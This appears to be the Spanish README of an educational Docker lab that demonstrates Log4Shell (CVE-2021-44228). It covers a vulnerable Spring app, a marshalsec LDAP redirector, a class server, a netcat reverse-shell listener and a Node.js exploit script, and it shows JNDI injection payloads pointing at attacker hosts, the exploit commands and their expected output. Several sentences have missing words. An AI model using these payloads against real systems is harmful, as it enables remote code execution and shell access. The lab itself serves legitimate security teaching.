
Laboratorio educativo basado en Docker que demuestra la explotación de RCE Log4Shell (CVE-2021-44228) con una aplicación Java vulnerable, redireccionador LDAP y script de explotación automatizado.
AVISO
Este laboratorio fue creado exclusivamente con fines educativos y de investigación en seguridad. Todo el tráfico ocurre dentro de una red Docker aislada. No utilices este material en sistemas reales ni sin autorización explícita. El uso indebido puede ser un delito. Úsalo con responsabilidad.
La Log4Shell es una vulnerabilidad crítica (CVSS 10.0) descubierta en diciembre de 2021 en la librería de logging Apache Log4j 2, ampliamente utilizada en aplicaciones Java.
Log4j tiene una función de interpolación de expresiones: al registrar un mensaje, evalúa cadenas con el formato ${...}. Por ejemplo, ${java:version} se sustituye por la versión de Java en tiempo de ejecución.
El problema está en el soporte del protocolo JNDI (Java Naming and Directory Interface). Cuando Log4j encuentra una expresión como:
${jndi:ldap://atacante.com/exploit}
le indica a la JVM que realice una . El servidor responde con una referencia a una clase Java remota — y la JVM , resultando en .
El vector de ataque es simple: cualquier campo que sea registrado por el servidor (headers HTTP, campos de formulario, cookies, etc.) puede ser el punto de entrada del payload.
2.0-beta9 hasta 2.14.12.15.0 (y definitivamente en 2.17.0)El laboratorio simula una aplicación Java real utilizando las versiones vulnerables.
| Componente | Versión | Por qué es vulnerable |
|---|---|---|
| Apache Log4j | 2.14.1 | Evalúa ${jndi:...} sin restricciones |
| JDK | 1.8.0_181 | Anterior al parche 8u191 que define trustURLCodebase=false |
| Spring Boot | 2.5.6 | Solo el framework web; la vuln es de Log4j |
GET http://localhost:8080/log
Los siguientes headers son registrados directamente por Log4j — cualquiera de ellos puede ser el vector de inyección:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| Servicio | Puerto | Función |
|---|---|---|
| marshalsec (LDAP) | 1389 | Recibe el lookup JNDI y redirige al servidor HTTP |
| Python HTTP server | 8888 | Sirve el Exploit.class a la JVM de la víctima |
| netcat listener | 9001 | Recibe la conexión del reverse shell |
docker-compose up --build
Espera hasta ver en los logs:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
En otra terminal, ejecuta el exploit Node.js:
node exploit/exploit.js
Salida esperada:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Observa la terminal donde se está ejecutando docker-compose. En los logs del contenedor attacker verás llegar la conexión del reverse shell al puerto 9001.
Para confirmar el touch /tmp/pwned dentro de la app vulnerable:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
Por Guaxinim | Cyber Security Research